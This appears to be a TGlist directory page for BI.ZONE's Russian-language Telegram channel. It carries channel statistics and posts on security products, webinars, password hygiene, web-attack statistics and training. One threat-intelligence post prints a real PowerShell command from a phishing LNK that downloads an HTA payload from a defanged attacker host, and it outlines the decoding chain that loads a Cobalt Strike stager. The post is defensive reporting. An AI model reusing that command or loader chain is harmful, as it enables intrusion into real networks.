Мир сегодня с "Юрий Подоляка"

Труха⚡️Україна

Паглядзець

Николаевский Ванёк

Паглядзець

Мир сегодня с "Юрий Подоляка"

Паглядзець

Труха⚡️Україна

Паглядзець

Николаевский Ванёк

Паглядзець

BI.ZONE

Компания по управлению цифровыми рисками
Мы помогаем организациям по всему миру безопасно развивать бизнес в цифровую эпоху
Сайт: https://bi.zone
BI.ZONE Bug Bounty: @bizone_bb
OFFZONE: @offzone_moscow
Согласия получены. Условий, запретов не установлено

Рэйтынг TGlist

ТыпПублічны

Вертыфікацыя

Не вертыфікаваны

Надзейнасць

Не надзейны

РазмяшчэннеРосія

МоваІншая

Дата стварэння каналаЖовт 14, 2019

Дадана ў TGlist

Лют 06, 2025

Я ўладальнік канала

Гісторыя змяненняў

Статыстыка Тэлеграм-канала BI.ZONE

Падрабязней

Падпісчыкаў

8 905

24 гадз.

70.1%Тыдзень

370.4%Месяц

1351.5%

Індэкс цытавання

0

Згадкі1Рэпостаў на каналах0Згадкі на каналах1

Сярэдняе ахоп 1 паста

1 083

12 гадз.1 0830%24 гадз.1 0830%48 гадз.4650%

Узаемадзеянне (ER)

2.68%

Рэпостаў10Каментары0Рэакцыі19

Узаемадзеянне па ахопу (ERR)

0%

24 гадз.0%Тыдзень0%Месяц

6.96%

Ахоп 1 рэкламнага паста

1 083

1 гадз.00%1 – 4 гадз.00%4 - 24 гадз.00%

Падрабязней

Падключыце нашага бота да канала і даведайцеся пол аўдыторыі гэтага канала.

Усяго пастоў за 24 гадзіны

2

Дынаміка

Апошнія публікацыі ў групе "BI.ZONE"

Усе пасты

11.04.202513:02

▶️ Что важно знать об identity security

Делимся конспектом и записью эфира AM Live, где эксперты обсудили:

🔵задачи, которые решает identity security,
🔵типичные ошибки при внедрении,
🔵ключевые векторы развития в ближайшие 1–2 года.

Будет полезно всем, кто отвечает за архитектуру доступа, IAM, PAM, киберзащиту и управление учетными записями.

Читать конспект и смотреть видео

Пераслаў з:

OFFZONE

08.04.202515:05

⚡️ Всё о нашем CFP

Совсем скоро мы откроем наш традиционный call for papers. Каждый год нас спрашивают, как стать спикером на нашей конференции, и задают еще кучу вопросов.

Как работает прием заявок? Почему мой доклад не приняли и что с этим делать? А мерч за выступление дадите? Дадим :) А какой? И так далее.

Чтобы call for papers был для вас более прозрачным, подробно рассказали о нем на «Хабре».

А еще на нашем сайте есть FAQ, где собраны ответы на все вопросы про OFFZONE.

20.03.202512:24

🌝 Эффективная логика обнаружения угроз в SOC

Детектирующая логика — основа мониторинга и реагирования на киберугрозы. К ней относится любой контент, позволяющий выявлять атаки:

🔵правила корреляции в SIEM-системе,
🔵сигнатуры NTA,
🔵правила обнаружения EDR,
🔵YARA-правила и т. д.

За семь лет работы нашего SOC мы собрали большую базу контента. Используем ее не только в BI.ZONE TDR, но и для того, чтобы помогать другим компаниям строить свой собственный центр мониторинга.

В статье, посвященной детектирующей логике, рассказали:

🟦про этапы разработки контента,
🟦формирование идей и гипотез,
🟦критерии эффективности правил.

Читать статью

12.03.202513:00

🦴 Вы задолжали Lone Wolf: атакующие рассылают загрузчик Cobalt Strike под видом документов о финансовой задолженности

С начала марта злоумышленники из Lone Wolf реализовали несколько фишинговых кампаний.

Письма с темой «Актуальная задолженность(просроченная)» рассылались в российские логистические, производственные, финансовые организации и компании из сферы розничной торговли. К письму был прикреплен запароленный архив «выписка.zip».

Интересно, что для обхода автоматизированных средств защиты, умеющих «подставлять» пароль из тела письма для сканирования вложений, злоумышленники использовали фразу «пароль к архиву одна единица».

Внутри архива — ярлык Windows «Выписка.lnk». При его открытии жертвой происходила компрометация системы, а на устройство загружался Cobalt Strike Stager в следующей последовательности:

1. PowerShell-скрипт, содержащийся в LNK-файле, загружал HTA-файл по ссылке zetag[.]ru/z[.]hta.

powershell .(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e').('PSChildName')http://zetag[.]ru/z.hta

2. Файл z.hta, содержащий закодированный с помощью Base64 и запакованный утилитой GZIP PowerShell-скрипт, декодировал еще одну стадию — снова PowerShell-скрипт.

3. Шелл-код с экземпляром Cobalt Strike Stager декодировался сначала с помощью Base64, потом путем операции XOR с ключом 0x35 и внедрялся в адресное пространство процесса PowerShell.

Полученный доступ к корпоративным сетям злоумышленники использовали для распространения программ-вымогателей.

11.03.202509:34

🌜 Разобрали до кварков: вышла запись эфира «Киберразведка решает все»

В студии AM Live поговорили о threat intelligence. Эксперты разобрали, как киберразведданные помогают компаниям выявлять угрозы на ранней стадии и предупреждать атаки до того, как они нанесут ущерб. А также обсудили, как правильно:

🟦применять киберразведданные,
🟦выстроить непрерывный процесс киберразведки,
🟦внедрить актуальные подходы к сбору данных и управлению процессами.

Смотреть запись

Читать обзор эфира

А еще напоминаем, что недавно вышло обновление BI.ZONE Threat Intelligence. С новым инструментом «Теневые ресурсы» компаниям будет проще предсказывать кибератаки и минимизировать последствия утечек.

07.02.202510:42

⚡️ Сбер внедрил BI.ZОNE PAM

Вместо зарубежной системы по управлению привилегированным доступом Сбер внедрил отечественное решение BI.ZONE PAM.

Благодаря ему тысячам IT-специалистов Сбера станет удобнее работать с критическими системами.

Вот что получила компания:

🟦Контроль прав привилегированных пользователей, мониторинг их активности и передача данных в SIEM.

🟦Масштабирование инсталляции на всю цифровую инфраструктуру.

🟦Меньше действий DevOps-, SRE-инженеров и администраторов для подключения сразу к множеству объектов инфраструктуры.

Наши эксперты помогли Сберу составить дорожную карту с учетом потребностей компании, что сделало внедрение BI.ZONE PAM поэтапным и бесшовным.

Подробнее о сотрудничестве

06.02.202512:06

🌜 Разбираем самое интересное из Threat Zone 2025

13 февраля в 11:00 проведем онлайн-презентацию нового исследования.

Расскажем:

🔵Что появилось в арсенале кластеров активности, нацеленных на российские организации.
🔵Какие особенности в атаках на компании наблюдают специалисты киберразведки.
🔵Как изменилась мотивация злоумышленников.

А еще ответим на вопросы об исследовании киберугроз. Пишите их в специальном поле при регистрации на мероприятие.

Среди авторов самых интересных вопросов разыграем печатные экземпляры исследования и другие призы!

Ведущие:

🟦Олег Скулкин, руководитель BI.ZОNE Threat Intelligence.
🟦Дмитрий Купин, руководитель отдела исследования киберугроз и вредоносного кода, BI.ZОNE Threat Intelligence.

Зарегистрироваться

06.02.202512:06

06.02.202508:21

😈😈😈😈😈😈😈😈

Российский ландшафт киберугроз на 187 страницах

Мы работали над этим весь прошлый год. Представляем Threat Zone 2025 — исследование киберландшафта России и СНГ.

Что вы найдете в материале:

🔵Профили группировок.
🔵Особенности ландшафта киберугроз.
🔵Список самых атакуемых отраслей.
🔵Популярные методы получения первоначального доступа.
🔵Топ-10 техник злоумышленников.

Исследование поможет вам ориентироваться в динамике угроз, понимать мотивацию злоумышленников и их подходы.

И смотрите видео с презентацией материала в посте.

Скачать бесплатно

05.02.202515:14

⭐️ Сколько микроГоферов в одной килострочке кода на Go?

Мы не знаем :)

Но знаем, что у нашего CTF-кружка вышла новая серия лекций. На этот раз разбираем по полочкам язык Go.

Вот записи всех четырех уроков:

1. Язык Go: знакомство.
2. Язык Go: еще больше конструкций.
3. Язык Go: memory.
4. Язык Go: asynchronous programming.

Впереди еще много интересных тем, не переключайтесь!

05.02.202509:11

🔒 Введите пароль: qwerty1234

По нашим данным, в 2024 году каждый третий высококритичный киберинцидент в российских компаниях был связан с компрометацией паролей от учетных записей администраторов.

Топ самых распространенных паролей, которые команда BI.ZONE Brand Protection обнаружила в утечках за последние полгода:

🟦123456
🟦123456789
🟦test1
🟦admin

Чтобы создать сильный пароль, советуем использовать парольные фразы, например uLUKd3_Zcndt («У лукоморья дуб зеленый, златая цепь на дубе том»). А хранить такие сложные комбинации лучше в парольных менеджерах.

Другие способы создать надежный пароль — в статье на CISOCLUB.

Если вы хотите узнать, есть ли в вашей организации утекшие пароли, BI.ZONE Brand Protection покажет все скомпрометированные учетные записи. Это позволит превентивно сменить доступы и избежать возможных инцидентов.

04.02.202513:02

💡 Пять наиболее распространенных веб-угроз в 2024 году

Команда BI.ZONE WAF проанализировала веб-атаки за прошедший год и выделила самые популярные из них.

1. RCE-атаки
Их доля составила 36% от общего числа веб-угроз.

У атаки с удаленным исполнением кода самые опасные последствия: злоумышленник может полностью захватить контроль над сервером веб-приложения.

2. Разведывательные атаки
Сюда относятся нелегитимные запросы от утилит, которые автоматизированно ищут слабые места в коде.

По сравнению с первой половиной года доля таких атак выросла втрое — с 6,8% до 22%. А по итогам года она составила 16%. Рост может быть связан с распространением инструментов на базе ИИ и машинного обучения.

3. Попытки получить доступ к файлам конфигурации, логам сервера
Один из примеров — атака обхода пути (path traversal).

На подобные угрозы пришлось 16%. Они чаще всего фиксировались в запросах к ресурсам транспортных и логистических компаний (73% от всех атак).

4. Атаки, направленные на кражу данных посетителей сайта
Среди них межсайтовый скриптинг, расщепление HTTP‑запроса, загрязнение прототипа и т. д.

По итогам года доля таких атак составила 14%. Чаще всего с ними сталкивались государственные организации (66%), телекоммуникационные компании (37%) и образовательные учреждения (30%).

5. Попытки получить доступ к базе данных
Самый известный пример — SQL-инъекции.

Доля подобных атак — 10% от общего числа веб-угроз. В 2024 году они были чаще всего нацелены на организации в сфере ритейла (26%) и финансов (11%).

Подробнее читайте на сайте.

04.02.202511:29

🚀 Большое обновление BI.ZONE PAM

Фокус версии 2.0 — улучшение пользовательского опыта.

Администраторам BI.ZONE PAM теперь удобнее управлять привилегированным доступом, а пользователям — безопасно работать с серверами и другими критическими IT-ресурсами.

Вот что появилось в версии 2.0:

🟦Кеширование второго фактора аутентификации при подключении через протоколы SSH и RDP.

🟦Поддержка Ansible playbook — популярного инструмента автоматизации DevOps-задач.

🟦Новые возможности работы с записями сессий.

🟦Расширенный интерфейс управления пользователями, секретами, конфигурацией решения, в том числе максимально гибкая настройка ролевой модели.

Подробнее об обновлении

04.02.202509:17

🔧 Прокачиваемся в безопасной разработке веб-приложений

Наш с CyberED курс «Основы безопасной разработки» практический и охватывает основные темы, после каждого урока есть тесты и задания. Обучение включает 71 академический час материала и разбито на 5 модулей.

Рассказываем, что ваши сотрудники получат в результате прохождения каждого:

🔷Модуль 0
Познакомятся с основными понятиями кибербезопасности, а также фреймворками и методологиями безопасной разработки.

🔷Модуль 1
Изучат уязвимости веб‑приложений, их классификацию, причины возникновения и способы митигации.

🔷Модуль 2
Рассмотрят функции безопасности, включая протоколы HTTP, SSL/TLS, PKI, сессии, механизмы аутентификации и авторизации, взаимодействия с СУБД, а также особенности их реализации.

🔷Модуль 3
Научатся обеспечивать безопасность Docker, Kubernetes, окружения приложений и хранения информации, грамотно настраивать элементы приложений, использовать Ansible и CIS Benchmark, Nginx, работать с HashiCorp Vault.

🔷Модуль 4
Познакомятся с практиками SSDLC на всех этапах разработки.

Посмотреть всю программу и бесплатный демоурок